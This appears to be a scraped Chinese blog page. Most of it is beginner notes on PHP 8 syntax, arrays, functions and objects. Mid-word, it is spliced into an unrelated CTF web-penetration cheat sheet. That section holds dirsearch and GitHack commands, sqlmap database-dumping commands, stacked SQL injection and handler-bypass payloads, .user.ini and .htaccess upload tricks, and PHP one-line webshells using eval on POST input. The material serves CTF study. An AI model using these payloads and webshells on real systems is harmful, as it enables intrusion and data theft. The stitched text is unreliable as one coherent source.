PHP英文博客专栏PHP快速入门个人笔记
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP英文博客专栏PHP快速入门个人笔记相关的知识,希望对你有一定的参考价值。
引言
本文是对于英文原始博客的一个php入门专栏的个人笔记摘录,因为非常入门并且自身有JAVA语言基础,看的比较快并且会忽略很多共同点,建议读者有能力可以看看博客的原文顺带提升英文能力,作者文字表达能力非常强,写的非常棒。
这篇专栏介绍了PHP8入门,专栏写于2022年中旬,不管是单词还是语法句式都十分通俗易懂,学技术的同时提升英语水平并且有助于提升自信心。
目录
- 介绍
- 过往历史
- php是一个怎么样的语言
- 设置PHP
- 第一个PHP程序
- 基本类型
- 操作符
- 字符串操作
- 编写注释
- 和数字有关的内置函数
- Array数组
- arrays常用函数
- 关联数组
- 条件语句
- 循环
- 函数
- 匿名函数
- 值传递和地址传递
- 箭头函数
- 使用map,reduce,filter函数循环数组处理
- 面向对象
- 面向对象讨论
- 如何构建对象
- 属性和方法
- 继承
- 重写
- 静态
- 对象比较
- 对象遍历
- 对象克隆
- 魔术方法
- 文件包含
- 文档系统的有用常量、函数和变量
- 错误
- 异常
- 日期
- 常量和枚举
- PHP web平台部署
- 处理HTTP请求
- $_SEVER 对象
- 使用cookies
- Sessions
- IO
- database
- JSON
- email
- Composer
- 部署PHP应用
原始博客地址
thevalleyofcode.com/php/
介绍
PHP是一个两级分化的语言,觉得它好的人称赞它简单,PHP的语法比较自由上手非常简单。而不好的人则会像我一样认为是个四不像语言,既有前端脚本的影子,但是同时支持面向对象的方式组合代码,总是会有种奇怪的感觉。
但是不得不承认,世界上绝大多数WEB网站都是PHP构建的,PHP是web领域当之无愧的佼佼者。虽然这语言现在在国内是一潭死水,但是在国外它是能排进前十的热门编程语言。
PHP在短短的几年内快速发展,从最开始几年的PHP4和PHP5的膨胀,到现在PHP8的版本发布,更新迭代的速度还是很快的。
过往历史
PHP起源于1994年的个人博客网站,作者是rasmus lerdorf,PHP在1997到2000随着互联网的快速崛起并且爆炸式增长。
用途:
- 和html存在一点点交互动态的HTML语言,以及web应用程序当中对外提供访问。
- Facebook就是构建在PHP网站之上的,早期微微博也同样用的PHP语言
- wiki百科同样使用PHP构建
PHP是一个怎么样的语言
虽然PHP被戏称脚本语言,但是实际上它是解释型语言,和广大编译运行的服务端语言没什么区别。只不过和其他大部分解释型语言不同点是PHP不需要编译就可以运行,或者可以认为编译的动作本身就是自动的。这和Java,GO以及c语言等等都有很大不同。在JAVA领域PHP非常像JSP,但是实际对比会发现要比JSP更灵活和方便,也更好用。
这个语言内部可自动通过编译器把代码翻译成机器可以认识以及可以运行的语言。
从个人角度看PHP被称作脚本语言是比较合适的词,因为它在web领域如鱼得水。此外因为PHP是动态类型语言,开发者不需要关注变量类型,但是有时候又因为类型转化的问题出现一些难以察觉的错误。
动态类型语言是高级编程语言的趋势这一点毋庸置疑。就连JDK11也实现了 var 关键词的动态类型语法糖定义就可以看出端倪。
最后用作者的原文总结:PHP是一门很像javascript的语言,不同的是它有动态类型,灵活类型的解释型后端语言。
设置PHP
本部分作者介绍了mamp的安装使用,个人没有使用经验就不详细记录了,对于PHP作者推荐使用VScode 编辑器开发,个人使用下来发现确实好用,当然Jerbrian的PHP IDE也不错,对于常年使用IDEA的开发人员基本可以无缝衔接。
PHP 开发一般依赖套件,PHP本身就是起源于个人博客专职于WEB Application领域,所以他需要最为根本的软件比如Apach,Mysql,Redis等等。
PHP开源套件软件很多,这里就不过多展开了。当然套件开发不是强制的,当然开发者开发过程中也可以单独部署中间件和数据库。
对于php的web应用,必备组件无外乎下面几个:
- PHP语言环境变量,推荐最新版的PHP8。
- 数据库,通常以mysql为主。
- apache或者nignix作为web服务器。
PHP是面向http web应用程序开发语言,很多时候都需要和HTML页面配合,这和古老的JSP语言有点类似,但是实际使用的时候更多是和模板引擎以及框架配合。
第一个PHP程序
PHP的Helloworld非常简单,只需要在mamp或者其他PHP程序的开发软件根目录创建index.html
的文件即可。很多web server服务器基本都使用index.html作为默认的访问页面,所以如果直接访问localhost端口的webserver根路径,那么就会展示对应index.html
页面。
PHP代码通常以及<?php
开头以及?>
结尾,中间编写有关PHP语言代码即可,我们可以在index.html
文件全文替换成下面的代码。
<?php
echo World;
?>
虽然访问的是html页面,但是里面的PHP代码却会被识别翻译并且执行。
基本类型
PHP是动态类型语言,定义变量方式如下:
<?php
$a = 5;
$b = 444;
?>
PHP支持下面的基础类型:
-
bool
boolean values (true/false) -
int
integer numbers (no decimals) -
float
floating-point numbers (decimals) -
string
strings -
array
arrays -
object
objects -
null
a value that means “no value assigned”
如果要知道变量的数据类型,可以使用var_dump()
的方法检查:
$age = 20;
var_dump($age);
操作符
PHP的基础操作符:
算数操作: +
, -
, *
, /
(division), %
(remainder) and **
(exponential).
赋值操作:=
比较操作:<
, >
, <=
, >=
,此外还有相等和全等操作,含义和JS的类似,相等可以类型不匹配比如 5==5,全等类型必须一致,比如5===5就是false。
-
==
returns true if the two operands are equal. -
===
returns true if the two operands are identical.
和比较操作相反的有!==以及!=符号。
自增操作:++和 - - 操作。
特殊符号:think new lines \\n
or tabs \\t
拼接操作:PHP和其他语言比较大的区别,那就是类似字符串拼接用的是 “.”
$fullName = $firstName . . $lastName;
字符串操作
字符串的操作和其他后端语言类似,下面简单列举博客中的一些实验,这里直接上代码就不过多解释了:
$name = Flavio;
strlen($name); //6
$name = Flavio;
substr($name, 3); //"vio" - start at position 3, get all the rest
substr($name, 2, 2); //"av" - start at position 2, get 2 items
$name = Flavio;
str_replace(avio, ower, $name); //"Flower"
$name = Flavio;
$itemObserved = str_replace(avio, ower, $name); //"Flower"
- trim() strips white space at the beginning and end of a string
- strtoupper() makes a string uppercase
- strtolower() makes a string lowercase
- ucfirst() makes the first character uppercase
- strpos() finds the firsts occurrence of a substring in the string
- explode() to split a string into an array
- implode() to join array elements in a string
编写注释
编写注释的方法如下:
// single comment
/*
this is a comment
*/
//or
/*
*
* this is a comment
*
*/
//or to comment out a portion of code inside a line:
/* this is a comment */
和数字有关的内置函数
作者事先列举一些和数字或者数学计算有关函数:
- round() to round a decimal number, up/down depending if the value is > 0.5 or smaller
- ceil() to round a a decimal number up
- floor() to round a decimal number down
- rand() generates a random integer
- min() finds the lowest number in the numbers passed as arguments
- max() finds the highest number in the numbers passed as arguments
- is_nan() returns true if the number is not a number
Array数组
数组定义可以用方括号或者array函数,数组可以当做其他编程语言的列表(容器)看待,不需要定义长度并且容量自动增长。
列表里面的元素类型可以不一致,甚至元素可以是另一个列表。
// 数组定义
$list = [];
$list = array();
// 初始化定义
$list = [1, 2];
$list = array(1, 2);
$list = [a, b];
$list[0]; //a --the index starts at 0
$list[1]; //b
$list = [1, [2, test]];
添加元素可以使用空方括号的方式设置值,这时候参数会自动在末尾追加。
$list = [a, b];
$list[] = c;
/*
$list == [
"a",
"b",
"c",
]
*/
使用array_unshift 添加元素到列表头部:
$list = [b, c];
array_unshift($list, a);
/*
$list == [
"a",
"b",
"c",
]
*/
使用count函数计算数组的元素数量:
$list = [a, b];
count($list); //2
检查元素是否在数组,使用in_array 函数`:
$list = [a, b];
in_array(b, $list); //true
arrays常用函数
常用函数根据作者笔记记录即可。
-
is_array()
to check if a variable is an array -
array_unique()
to remove duplicate values from an array -
array_search()
to search a value in the array and returns the key -
array_reverse()
to reverse an array -
array_reduce()
to reduce an array to a single value using a callback function -
array_map()
to apply a callback function to each item in the array. Typically used to create a new array by modifying the values of an existing array, without altering that. -
array_filter()
to filter an array to a single value using a callback function -
max()
to get the maximum value contained in the array -
min()
to get the minimum value contained in the array -
array_rand()
to get a random item from the array -
array_count_values()
to count all the values in the array -
implode()
to turn an array into a string -
array_pop()
to remove the last item of the array and return its value -
array_shift()
same as array_pop()
but removes the first item instead of the last -
sort()
to sort an array -
rsort()
to sort an array in reversing order -
array_walk()
similarly to array_map()
does something for every item in the array, but in addition it can change values in the existing array
关联数组
到目前为止,我们已经使用了带有增量数字索引的数组:0、1、2... 您还可以使用带有命名索引(键)的数组,我们称它们为关联数组:
$list = [first => a, second => b];
$list[first] //a
$list[second] //b
可以通过关联数组进行标记key以及value,关联数组同样有比较多的操作方法:
-
array_key_exists()
to check if a key exists in the array -
array_keys()
to get all the keys from the array -
array_values()
to get all the values from the array -
asort()
to sort an associative array by value -
arsort()
to sort an associative array in descending order by value -
ksort()
to sort an associative array by key -
krsort()
to sort an associative array in descending order by key
在此处查看所有有关联数组函数: https://www.php.net/manual/en/ref.array.php
条件语句
条件语句的最基础用法:
$age = 17;
if ($age > 18)
echo You can enter the pub;
else
echo You cannot enter the pub;
这里用了cannot而不是cant是因为单引号嵌套会出现“截断”导致报错,需要单引号内部嵌套需要使用转义符\\
反斜杠。
<
, >
, <=
, >=
, ==
, ===
, !=
, !==
这些符号在实际使用和条件语句一起使用:
这里需要注意PHP提供了专门的 elseif,而不能像其他语言一样使用 else[空格]if
的语法:
$age = 17;
if ($age > 20)
echo You are 20+;
elseif ($age > 18)
echo You are 18+;
else
echo You are <18;
Swtich的语法和其他编程语言是一致的:
$age = 17
switch($age)
case 15:
echo You are 15;
break;
case 16:
echo You are 16;
break;
case 17:
echo You are 17;
break;
case 18:
echo You are 18;
break;
default:
echo "You are $age";
循环
PHP的循环语句语法有while
, do while
, for
, and foreach
,while
和do while
的方法和大部分编程语言没什么不同。
$counter = 0;
while ($counter < 10)
echo $counter;
$counter++;
$counter = 0;
do
echo $counter;
$counter++;
while ($counter < 10);
主要差别是foreach
语法,可以用他遍历列表,也可以用来遍历列表获取索引,也就遍历关联数组的key/value
值。
$list = [a, b, c];
foreach ($list as $value)
echo $value;
$list = [a, b, c];
foreach ($list as $key => $value)
echo $key;
对于普通for循环,可以使用count函数计算数组长度的size。
$list = [a, b, c];
for ($i = 0; $i < count($list); $i++)
echo $list[$i];
//result: abc
和循环搭配使用的break和continue语法:
$list = [a, b, c];
for ($i = 0; $i < count($list); $i++)
if ($list[$i] == b)
break;
echo $list[$i];
// result a
$list = [a, b, c];
for ($i = 0; $i < count($list); $i++)
if ($list[$i] == b)
continue;
echo $list[$i];
//result: ac
函数
PHP函数的主要特点:
- PHP的函数只支持单返回值。
- 如果没有返回值或者省略则接收为null,注意这里是有陷阱的,如果调用一个无返回值的方法,会获得null的结果,PHP并不会对此报错。
- 参数可以等号设置默认值。
- 可以指定参数类型,也可以省略,省略会自动根据上下文猜测类型。
function sendEmail($to)
echo "send an email to $to";
sendEmail(test@test.com);
// result: send an email to test@test.com
可以手动指定参数的类型,当然绝大多数情况下不会这样写(很啰嗦还浪费时间),所以看一下就可以直接忘记:
function sendEmail(string $to, string $subject, string $body)
//...
PHP函数的参数支持定义的时候指定默认值,如果调用方没有传值就使用默认值:
function sendEmail($to, $subject = test, $body = test)
//...
sendEmail(test@test.com)
带返回值的函数定义如下,我们同样可以手动指定函数的返回值类型:
function sendEmail($to): bool
return true;
function sendEmail($to)
return true;
$success = sendEmail(test@test.com);
if ($success)
echo email sent successfully;
else
echo error sending the email;
匿名函数
PHP的匿名函数和JavaScript的写法是类似的,使用变量接收不带名字的function
方法,由于不带返回值的函数默认返回Null,所以可以认为匿名函数的变量就是Null。
匿名函数是支持变量传递的,语法是在匿名方法后面追加use和括号。
$test = test;
$myfunction = function() use ($test)
echo $test;
return ok;
;
$myfunction()
值传递和地址传递
PHP默认情况下的参数传递都是值传递,也就是说外部的参数传递在函数内部出现改变是不会一并改变的,因为值传递是用了一份变量副本进行数据操作。
地址传递或者说引用传递需要在参数前面加取地址的符号,这里的写法就类似C语言的指针了。
$character = a;
function test(&$c)
$c = b;
test($character);
echo $character; //b
箭头函数
PHP的箭头函数相当于JS的函数式编程,和Java的箭头函数类似,但是箭头函数用了等号而已。
$printTest = fn() => test;
$printTest(); //test
$multiply = fn($a, $b) => $a * $b;
$multiply(2, 4) //8
前面提到过匿名函数需要使用 use
语句接收外部参数,而箭头函数就不需要如此定义便可以直接接收外部参数,写法方便和简洁易懂:
$a = 2;
$b = 4;
$multiply = fn() => $a * $b;
$multiply()
总之PHP的函数有三种定义方法,普通函数,箭头函数和匿名函数。
使用map,reduce,filter函数循环数组处理
array_map:函数可以对于每个元素调用回调函数并且返回结果,最后会返回一个全新的列表。首个参数是回调函数,其次是列表。
array_filter:函数则是对于每个元素调用回调函数并且过滤掉不符合的元素,注意第一个参数是数组,然后第二个参数是回调函数,filter是符合函数回调结果的可以认为是有效的。
array_reduce:函数比较特殊一些,最后有一个参数有一个初始值,函数会从初始化的值对后续的每个元素进行回调函数合并,比如计算阶乘的值就可以用这个函数。
$numbers = [1, 2, 3, 4];
$doubles = array_map(fn($value) => $value * 2, $numbers);
//$doubles is now [2, 4, 6, 8]
$numbers = [1, 2, 3, 4];
$even = array_filter($numbers, fn($value) => $value % 2 === 0)
//$even is now [2, 4]
$numbers = [1, 2, 3, 4];
$result = array_reduce($numbers, fn($carry, $value) => $carry * $value, 1)
面向对象
面向对象讨论
PHP的面向对象和JAVA的比较相似,可以说大部分语法都可以通用。
如何构建对象
构建对象在PHP当中也是使用new的方式,可以通过new构建多个对象,但是对象名称不能重复。
属性和方法
属性和方法常常配合使用,这里一并介绍魔术方法构造参数。方法可以指定构造函数 __construction
,其中可以添加初始化对象的行为,PHP 当中对象有很多内置函数都以 双下划线开头。
class Dog
public $name;
public function __construct($name)
$this->name = $name;
public function bark()
echo $this->name . barked!;
$roger = new Dog(Roger);
$roger->bark();
每个类默认有一个不执行任何工作的空构造器,重写之后如果无空构造函数,需要传入指定参数才能初始化,否则会出现PHP的error异常。
class Dog
public string $name;
public function __construct($name)
$this->name = $name;
public function bark()
echo $this->name . barked!;
$roger = new Dog(Roger);
$roger->name; //Roger
$roger->bark(); //Roger barked!
// result
TypeError: Dog::__construct():
Argument #1 ($name) must be of type int,
string given on line 14
对象属性在PHP中存在三个限定符号,可以手动指定下面三个级别:
protected
private
public
这几个类别分别对应了继承对象可见,私有,对外公开,和JAVA、Python语言类似,这里就不过多扩展含义和更多用法案例了。
class Dog
public $name;
public $age;
public $color;
$roger = new Dog();
$roger->name = Roger;
$roger->age = 10;
$roger->color = gray;
var_dump($roger);
/*
object(Dog)#1 (3)
["name"]=> string(5) "Roger"
["age"]=> int(10)
["color"]=> string(4) "gray"
*/
如果需要外部访问,多数情况建议用get和set的方式,对于类内部的属性首先需要定义public,其次引用需要使用this→xxx的方式,注意这个this是不能省略的,也是和JAVA差别比较大的点,而外部则为对象的变量引用设置的名称加上→符号,比如dog→bark()
$roger = new Dog(Roger);
$roger->name; //Roger
$roger->bark(); //Roger barked!
属性只有在public修饰符描述的情况下才能对外访问和修改,如果为private或者protected则不行,限定符的安全访问和Java的没什么区别。
方法内部的$this比较特殊,代表当前对象本身引用,和后端编程语言JAVA等类似。
继承
PHP的对象支持继承,具体语法如下:
class Dog extends Animal
$roger = new Dog();
$roger->eat();
重写
PHP重写和JAVA的规则类似,所以我们按照JAVA的对象继承理解即可:
class Animal
public $age;
public function eat()
echo the animal is eating;
class Dog extends Animal
public function eat()
echo the dog is eating;
静态
静态方法和静态属性都是在属性或者方法名称前面加static。对于static类或者对象内部使用self来定义,引用方式为两个冒号,比如User::getName。
User::getName标识静态变量的写法是强制规定的,否则编译器会报错Undefined variable $version.intelephense(1008)
。
class Utils
public static $version = 1.0;
// 静态常量的对象内部引用
self::$version;
// 静态常量的外部引用
class Utils
public static function version()
return 1.0;
Utils::version
对象比较
前面的操作符提到过双等号和三等号有不同的含义,对于大部分情况下对象的比较==
和===
会返回true和false,下面的例子就是很好的解释。
class Dog
public $name = Good dog;
$roger = new Dog();
$syd = new Dog();
echo $roger == $syd; //true
echo $roger === $syd; //false
对象遍历
对象遍历通常是遍历所有的内部属性值,可以使用关联循环的写法,这个对象遍历是PHP的一些语法特性,算是比较有意思的东西。
class Dog
public $name = Good dog;
public $age = 10;
public $color = gray;
$dog = new Dog();
foreach ($dog as $key => $value)
echo $key . : . $value . <br>;
对象克隆
PHP的clone
方法和JAVA一样属于浅拷贝,深入拷贝需要额外编写一些代码。
class Dog
public $name;
$roger = new Dog();
$roger->name = Roger;
$syd = clone $roger;
魔术方法
魔术方法可以理解为PHP为了方便开发者管理对象而提供的一些”切面“,开发者可以通过重写对象的特定方法控制行为:
class Dog
public $name;
public function __clone()
$this->cloned = true;
$roger = new Dog();
$roger->name = Roger;
$syd = clone $roger;
echo $syd->cloned;
其他的魔术方法包含:__call()
, __get()
, __set()
, __isset()
, __toString()
。
文件包含
文件包含的操作在PHP中有四种写法:include
, include_once
, require
, require_once
.
include
loads the content of another PHP file, using a relative path.
require
does the same, but if there’s any error doing so, the program halts. include
will only generate a warning.
“include”:使用相对路径加载另一个PHP文档的内容。
“require”:执行相同的操作,但如果载入有任何错误进程将停止。注意“include”只会生成警告,require会直接抛出异常信息。
include_once
和require_once
在没有_once
的情况下执行与其相应函数相同的操作,但它们额外确保在进程执行期间仅包含一次文件。
按照作者的经验法则是经验法则永远不要使用包含或要求,因为您可能会加载同一个文档2次,include_once和require_once帮助您避免此问题。
下面介绍文件包含的相关操作:
require_once(test.php);
//now we have access to the functions, classes
//and variables defined in the `test.php` file
require_once(../test.php);
require_once(test/test.php);
require_once(/var/www/test/file.php);
文档系统的有用常量、函数和变量
有关文件的魔法常量:
__FILE__
还有一个和服务器有关的全局常量:
$_SERVER[SCRIPT_FILENAME]
除此之外其他的一些常用常量或者函数:
getcwd():内置函数
__DIR__:另一个神奇常量
将__FILE__与 dirname() 组合以获得
当前文档夹的完整路径:dirname(__FILE__)
使用 $_SERVER[“DOCUMENT_ROOT”]
错误
PHP的错误或者说异常信息分为下面三类:
- Warnings
- Notices
- Errors
前面两个错误都是警告类似的,虽然有可能在程序运行过程中会出现问题但是不影响程序运行,而最后一个error则是会由PHP的解释器直接返回报错信息。
默认情况下PHP是不展示错误信息的,我们可以修改`php.ini
`的配置进行调整。为了更快的了解配置文件的位置和相关信息,我们可以使用 phpinfo()方法和查看:
<?php
phpinfo();
?>
原作者案例的对应的路径为:/Applications/MAMP/bin/php/php8.1.0/conf/php.ini
,默认情况下为off,意味着错误将不再显示在网站中,但在这种情况下将在 MAMP(如果是别的开发脚手架则为其他的路径) 的 logs 文档夹的php_error.log文档中看到它们。
个人的wampServer的对应错误日志信息如下:
我们可以指定错误日志重定向到特定的目录:
; Log errors to specified file. PHPs default behavior is to leave this value
; empty.
; http://php.net/error-log
; Example:
;error_log = php_errors.log
添加错误信息可以通过方法error_log(test);处理,下面截取框架的用法:
/**
* Logs user information to webserver logs.
*
* @param string $user user name
* @param string $status status message
*
* @return void
*/
public static function logUser($user, $status = ok)
if (function_exists(apache_note))
apache_note(userID, $user);
apache_note(userStatus, $status);
/* Do not log successful authentications */
if (! $GLOBALS[PMA_Config]->get(AuthLogSuccess) && $status == ok)
return;
$log_file = self::getLogDestination();
if (empty($log_file))
return;
$message = self::getLogMessage($user, $status);
if ($log_file == syslog)
if (function_exists(syslog))
@openlog(phpMyAdmin, LOG_NDELAY | LOG_PID, LOG_AUTHPRIV);
@syslog(LOG_WARNING, $message);
closelog();
elseif ($log_file == php)
@error_log($message);
elseif ($log_file == sapi)
@error_log($message, 4);
else
@error_log(
date(M d H:i:s) . phpmyadmin: . $message . "\\n",
3, $log_file
);
异常
异常通常是除开编程语言语法之外的可控错误,PHP和JAVA一样使用了try...catch(Exception $e)
的方式进行处理:
try
//do something
catch (Throwable $e)
//we can do something here if an exception happens
echo $e->getMessage();
实验中我们可以使用除0的异常检查异常信息的打印:
echo 1 / 0;
异常处理的原则是细分不同的具体异常给出不同的提示,PHP的异常捕获规则和JAVA一致:
try
echo 1 / 0;
catch (DivisionByZeroError $e)
echo Ooops I divided by zero!;
catch (Throwable $e)
echo $e->getMessage();
PHP同样支持finally的写法:
try
echo 1 / 0;
catch (DivisionByZeroError $e)
echo Ooops I divided by zero!;
catch (Throwable $e)
echo $e->getMessage();
finally
echo ...done!;
更多异常处理可以参考下面的网站:
www.php.net/manual/en/r…
日期
常量和枚举
我们可以在 PHP 中使用 define() 内置函数定义常量,使用语法如下:
define(TEST, some value);
这种常量定义在使用的时候不需要使用$符号:
define(TEST, some value);
echo TEST;
define
类似 C 语言的 typeof。
其他定义常量的方法是const:
const BREED = Siberian Husky;
第三种定义常量的方法是定义枚举:
enum Status
case EATING;
case SLEEPING;
case RUNNING;
枚举常量的使用方法如下:
class Dog
public Status $status;
$dog = new Dog();
$dog->status = Status::RUNNING;
if ($dog->status == Status::SLEEPING)
//...
PHP web平台部署
PHP 是一种服务器端语言,通常以 2 种方式使用。
- 第一种方法是类似JSP一样在HTML中嵌入PHP后端语言代码达到动态数据展示的效果。
- 第二种是PHP更像是负责生成“应用进程”的引擎,模板语言来生成HTML,并且所有内容都由我们所谓的框架管理。(推荐)
处理HTTP请求
本部分介绍了在没有任何框架的情况下如何接收和处理HTTP请求,我们可以在webroot的路径创建一个test.php文件,此时如果对于脚手架配置伪静态,可以直接通过/test访问。
WEB应用绝大部分都是POST和GET请求,PHP提供了$_GET
, $_POST
and $_REQUEST
这些方法
_ GET 对象访问所有查询字符串数据,该对象称为超全局,并在我们所有的 PHP 文档中自动可用。 $_ POST:对于 POST、PUT 和 DELETE 请求,更有可能需要以
urlencoding
数据的形式发布的数据或使用 FormData 对象,PHP 使用 $_POST
为您提供该对象。 _ REQUEST囊括了上面两个魔法常量的内容。
下面的案例介绍了有关这些魔法常量的用法
if (isset($_GET[tables]))
$constrains = $GLOBALS[dbi]->getForeignKeyConstrains(
$_REQUEST[db],
$_GET[tables]
);
$response = Response::getInstance();
$response->addJSON(foreignKeyConstrains,$constrains);
使用cookies$_SEVER 对象
$_SERVER
包含了许多非常有用的服务器信息,我们可以使用Phpinfo方法获取服务器内容:
<?php
phpinfo();
?>
下面是基本用法:
-
$_SERVER[HTTP_HOST]
-
$_SERVER[HTTP_USER_AGENT]
-
$_SERVER[SERVER_NAME]
-
$_SERVER[SERVER_ADDR]
-
$_SERVER[SERVER_PORT]
-
$_SERVER[DOCUMENT_ROOT]
-
$_SERVER[REQUEST_URI]
-
$_SERVER[SCRIPT_NAME]
-
$_SERVER[REMOTE_ADDR]
$_GET方法的使用案例如下:
<form>
<input type="text" name="name" />
<input type="submit" />
</form>
<?php
if (isset($_GET[name]))
echo <p>The name is . $_GET[name];
?>
$_POST方法的使用案例如下:
<form **method="POST"**>
<input type="text" name="name" />
<input type="submit" />
</form>
<?php
if (isset($_POST[name]))
echo <p>The name is . $_POST[name];
?>
这些内容直接使用的情况比较少,通常在框架中可以看到类似的引用。
使用cookies
PHP通过$_COOKIE
变量可以获取到所有和Cookie有关的信息。
if (isset($_COOKIE[name]))
$name = $_COOKIE[name];
setcookie() 方法可以设置cookie信息,我们可以添加第三个参数来说明 cookie 何时过期。如果省略,Cookie 将在会话结束时/浏览器关闭时过期。
setcooCTF-Web渗透(入门|笔记|工具)
php各种漏洞绕过
传送门:https://cloud.tencent.com/developer/article/2127498
php伪协议
详细博客讲解:
https://blog.csdn.net/cosmoslin/article/details/120695429
http://hummer.vin/2022/05/10/PHP%E4%BC%AA%E5%8D%8F%E8%AE%AE/
https://www.cnblogs.com/wjrblogs/p/12285202.html
已经离线到本地
大概就是绕过一些文件包含函数的过滤信息,比如通过
base64
加密后后台扫描
dirsearch
- 扫描目标
-u,--url 目标url
-l,--url-list=FILE 目标url文件路径
--stdin 从标准输入中指定url
--cidr 目标网段
--raw=File 从文件中读取request报文,通过-schema指定策略(如--schema https)
- 扫描的字典类型
-e,--extensions 包含的文件拓展名(逗号分隔) 如-e php,asp
-X,--exclude-extensions 排除的文件拓展名(逗号分隔) 如-X asp,jsp
-f,--force-extensions 在字典的每条记录后面添加文件拓展名
dirsearch默认只会替换字典中%EXT%为指定的extensions
如-e php Wishlist.%EXT%-->Wishlist.php
- 字典格式
-w,--wordlists 自定义wordlist(以逗号分隔)
--prefixes 添加自定义前缀
--suffixes 添加自定义后缀
--only-selected 筛选出指定的文件拓展名或无文件拓展名的目录
--remove-extensions 移除所有wordlist的后缀名 (admin.php --> admin)
-U, --uppercase 将字典转换为大写
-L, --lowercase 将字典转换为小写
-C, --capital 第一个字母大写剩下字母小写
- 响应结果的过滤
-i 保留的响应状态码(以逗号分隔,支持指定范围) 如(-i 200,300-399)
-x 排除的响应状态码(以逗号分隔,支持指定范围) 如(-x 301,500-599)
--exclude-sizes 通过大小排除(以逗号分隔) 如(123B,4KB)
--exclude-texts 通过文本内容排除响应('Not found', 'Error')
--exclude-regexps 通过正则匹配排除响应('Not foun[a-z]1', '^Error$')
--exclude-redirects 通过正则跳转目标排除响应('https://okta.com/*')
--minimal 最小响应报文长度
--maximal 最大响应报文长度
- 请求相关设置
-m,--http-method HTTP请求方法 默认为GET
-d,--data HTTP请求数据
-H,--header 请求头 如(-H 'Referer: example.com' -H 'Accept: */*')
--header-list=FILE 从文件中读取请求头
-F,--follow-redirects 跟随HTTP跳转
--user-agent 设置user-agent字段
--cookie 设置cookie
- 连接相关设置
--timeout=TIMEOUT 连接超时时间
--ip=IP 服务器ip地址
-s DELAY, --delay=DELAY 每次请求间隔的时间
--proxy=PROXY 代理url 支持HTTP和SOCKS代理 如(localhost:8080, socks5://localhost:8088)
--proxy-list=FILE 包含代理服务器的地址
--matches-proxy=PROXY Proxy to replay with found paths
--scheme 默认的策略 用于从文件中导入请求或url中不包含协议
--max-retries 最大重连次数
-b,--request-by-hostname 强制通过域名连接,(默认为了速度,使用ip连接)
--exit-on-error 出现错误时退出
--debug Debug模式
- 通用设置
--version 显示dirsearch的版本
-h --help 帮助提示
-r,--recursive 递归爆破
-R,--recursion-depth 最大递归的层数
-t,--threads 线程数
--subdirs 扫描子目录 如(admin/ 则www.example.com/admin/+字典)
--exclude-subdirs 在递归扫描中排除的子目录
-q,--quiet-mode 安静模式
--full-url 打印出完整的url
--no-color 无颜色输出信息
- 输出模式
--simple-report=OUTPUTFILE
--plain-text-report=OUTPUTFILE
--json-report=OUTPUTFILE
--xml-report=OUTPUTFILE
--markdown-report=OUTPUTFILE
--csv-report=OUTPUTFILE
常见的用法:
简单用法
- 采用默认设置扫描目标url
python3 dirsearch.py -u https://target
- 使用文件拓展名为php,html,js的字典扫描目标url
python3 dirsearch.py -e php,html,js -u https://target
- 采用指定路径的wordlist且拓展名为php,html,js的字典扫描目标url
python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist
- 递归扫描
python3 dirsearch.py -e php,html,js -u https://target -r
- 设置递归层数为3
python3 dirsearch.py -e php,html,js -u https://target -r -R 3
- 指定线程(不建议线程数调整过大,可能会影响扫描的结果)
python3 dirsearch.py -e bak,zip,tgz,txt -u https://target -t 30
- 使用前缀后缀
python3 dirsearch.py -e php -u https://target --prefixes .,admin,_,~
(前缀)
更多内容请参考:https://blog.csdn.net/qq_43936524/article/details/115271837
版本泄露
git泄露
可以通过GitHack
下载项目代码,然后我们进行代码审计,使用命令如下:
GitHack.py http://www.openssl.org(目标网址)/.git/
SQL注入
sqli-labs
笔记:https://acmer.blog.csdn.net/article/details/127851636
离线到本地
sqlmap
常用命令:
sqlmap -u “注入地址” -v 1 –-dbs # 列举数据库
sqlmap -u “注入地址” -v 1 –-current-db # 当前数据库
sqlmap -u “注入地址” -v 1 –-users # 列数据库用户
sqlmap -u “注入地址” -v 1 -D “数据库” –-tables # 列举数据库的表名
sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” –-columns # 获取表的列名
sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” -C “字段” –-dump # 获取表中的数据
注意的点
-
B:Boolean-based-blind(布尔型注入)
-
U:Union query-based (联合注入)
-
E:Error-based (报错型注入)
-
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
-
T:Time-based blind (基于时间延迟注入)
-
-–batch
默认选项运行 -
--dbs
爆破数据库 -
-–technique
指定sqlmap使用的检测技术
sqlmap -u "http://localhost/Less-1/?id=1" --dbs --batch --technique B
按理说应该所有类型的注入都跑一次
- 如果有的时候注入点存在,但是执行一些其他语句不行,可能是关键字被过滤了,此时我们需要考虑通过大小写或者双写绕过,例如常见的
select
过滤了
堆叠注入流程
通过结束符;来执行多条语句
如-1’;show databases;#查所有数据库名
-1’;show tables;#查数据库表 寻找可用的数据库下的表名
或者是-1’;show tables from datebase_name
针对union select被禁用的情况下2
-1’;show columns from table_name
;#查字段名 注意表名是直接表示出来 不加‘’
最后
-1’;select flag from table_name
求中可以使用sel/**/ect过滤
例题:https://buuoj.cn/challenges#[GYCTF2020]Blacklist
还需要看一下下面的handler绕过
其余绕过
mysql
在查询不存在的数据时,会自动构建虚拟数据,一般数据存储要么明文,要么MD5
例如:https://buuoj.cn/challenges#[GXYCTF2019]BabySQli
handler 绕过
语法:
handler [table_name] open;
handler [table_name] read first;
handler [table_name] read next;
eg: 1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
XSS注入
可以参见XSS-labs
:https://acmer.blog.csdn.net/article/details/127578322
离线到本地
XSS闯关:https://blog.csdn.net/m_de_g/article/details/119085955
离线到本地
包含沙箱逃逸、xss模板注入
文件上传漏洞
.user.ini
需要上传的目录下有php
文件,然后上传一句话木马(这里可能需要抓包改包,可能存在过滤),然后用蚁剑链接php
文件,别链接木马
格式:
GIF89a
auto_prepend_file=number.png
.htaccess
<FileMatch "digit-shell.png">
SetHandler application/x-httpd-php
</FileMatch>
一句话木马
- version-1
<?php @eval($_POST[123]);?>
- version-2
GIF89a
<?php @eval($_POST['shell']);?>
- version-3
GIF89a
<script language='php'>eval($_POST['shell']);</script>
- version-4
图片马
内容太大,而且是乱码,我就不放上来了
php序列化和反序列化
这里面主要是考一个php
类的魔法函数,笔记在本地的ctf-tool
里面
